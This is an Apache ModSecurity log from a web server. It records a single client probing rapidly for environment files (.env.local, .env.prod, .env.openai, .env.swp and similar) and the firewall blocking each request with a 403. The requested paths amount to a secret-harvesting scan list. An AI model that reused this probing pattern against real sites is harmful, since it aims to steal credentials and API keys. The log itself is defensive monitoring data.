[Sat Oct 24 08:10:37.891122 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPVGNStwISql-V9e96gAAAAs"]
[Sat Oct 24 08:10:37.891138 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.live"] [unique_id "atygPYY2rJh4KkI7ZZhj1QAAAAM"]
[Sat Oct 24 08:10:37.891857 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPYY2rJh4KkI7ZZhj1QAAAAM"]
[Sat Oct 24 08:10:37.894787 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "atygPXUcfBNBYE9xHAJA8AAAAAA"]
[Sat Oct 24 08:10:37.894948 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "atygPXUcfBNBYE9xHAJA8AAAAAA"]
[Sat Oct 24 08:10:37.895590 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPXUcfBNBYE9xHAJA8AAAAAA"]
[Sat Oct 24 08:10:37.960318 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.old"] [unique_id "atygPfMnT_rHlxLKOWDm_QAAAAc"]
[Sat Oct 24 08:10:37.960523 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.old"] [unique_id "atygPfMnT_rHlxLKOWDm_QAAAAc"]
[Sat Oct 24 08:10:37.961378 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPfMnT_rHlxLKOWDm_QAAAAc"]
[Sat Oct 24 08:10:37.961718 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.openai"] [unique_id "atygPQ6rpxYYtVdDcXCoSQAAABg"]
[Sat Oct 24 08:10:37.961862 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.openai"] [unique_id "atygPQ6rpxYYtVdDcXCoSQAAABg"]
[Sat Oct 24 08:10:37.962397 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.php"] [unique_id "atygPV0Yuvqa3nuKpvNCGAAAAAk"]
[Sat Oct 24 08:10:37.962531 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.php"] [unique_id "atygPV0Yuvqa3nuKpvNCGAAAAAk"]
[Sat Oct 24 08:10:37.962578 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPQ6rpxYYtVdDcXCoSQAAABg"]
[Sat Oct 24 08:10:37.963284 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPV0Yuvqa3nuKpvNCGAAAAAk"]
[Sat Oct 24 08:10:37.964678 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.prod"] [unique_id "atygPUWIGyA7zCtes8CKQwAAAAw"]
[Sat Oct 24 08:10:37.964820 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.prod"] [unique_id "atygPUWIGyA7zCtes8CKQwAAAAw"]
[Sat Oct 24 08:10:37.965245 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "atygPRdOhHN-18IxgZKqogAAAAY"]
[Sat Oct 24 08:10:37.965374 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "atygPRdOhHN-18IxgZKqogAAAAY"]
[Sat Oct 24 08:10:37.965489 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPUWIGyA7zCtes8CKQwAAAAw"]
[Sat Oct 24 08:10:37.966094 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.52.133.111:44936] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPRdOhHN-18IxgZKqogAAAAY"]
[Sat Oct 24 08:10:37.966639 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.sample"] [unique_id "atygPVGNStwISql-V9e96wAAAAs"]
[Sat Oct 24 08:10:37.966803 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.sample"] [unique_id "atygPVGNStwISql-V9e96wAAAAs"]
[Sat Oct 24 08:10:37.967462 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.52.133.111:44952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPVGNStwISql-V9e96wAAAAs"]
[Sat Oct 24 08:10:37.968336 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.save"] [unique_id "atygPYY2rJh4KkI7ZZhj1gAAAAM"]
[Sat Oct 24 08:10:37.968469 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.save"] [unique_id "atygPYY2rJh4KkI7ZZhj1gAAAAM"]
[Sat Oct 24 08:10:37.969128 2026] [security2:error] [pid 2625272:tid 2625272] [client 34.52.133.111:44920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPYY2rJh4KkI7ZZhj1gAAAAM"]
[Sat Oct 24 08:10:38.001385 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.staging"] [unique_id "atygPnUcfBNBYE9xHAJA8QAAAAA"]
[Sat Oct 24 08:10:38.001593 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.staging"] [unique_id "atygPnUcfBNBYE9xHAJA8QAAAAA"]
[Sat Oct 24 08:10:38.002355 2026] [security2:error] [pid 2609012:tid 2609012] [client 34.52.133.111:44916] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPnUcfBNBYE9xHAJA8QAAAAA"]
[Sat Oct 24 08:10:38.037090 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.swp"] [unique_id "atygPvMnT_rHlxLKOWDm_gAAAAc"]
[Sat Oct 24 08:10:38.037334 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.swp"] [unique_id "atygPvMnT_rHlxLKOWDm_gAAAAc"]
[Sat Oct 24 08:10:38.037649 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.test"] [unique_id "atygPg6rpxYYtVdDcXCoSgAAABg"]
[Sat Oct 24 08:10:38.037837 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.test"] [unique_id "atygPg6rpxYYtVdDcXCoSgAAABg"]
[Sat Oct 24 08:10:38.038232 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.52.133.111:44942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPvMnT_rHlxLKOWDm_gAAAAc"]
[Sat Oct 24 08:10:38.038520 2026] [security2:error] [pid 2608811:tid 2608811] [client 34.52.133.111:44954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPg6rpxYYtVdDcXCoSgAAABg"]
[Sat Oct 24 08:10:38.039324 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "atygPl0Yuvqa3nuKpvNCGQAAAAk"]
[Sat Oct 24 08:10:38.039469 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.testing"] [unique_id "atygPl0Yuvqa3nuKpvNCGQAAAAk"]
[Sat Oct 24 08:10:38.040133 2026] [security2:error] [pid 2627311:tid 2627311] [client 34.52.133.111:44926] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env~"] [unique_id "atygPkWIGyA7zCtes8CKRAAAAAw"]
[Sat Oct 24 08:10:38.040176 2026] [security2:error] [pid 2627309:tid 2627309] [client 34.52.133.111:44964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "atygPl0Yuvqa3nuKpvNCGQAAAAk"]
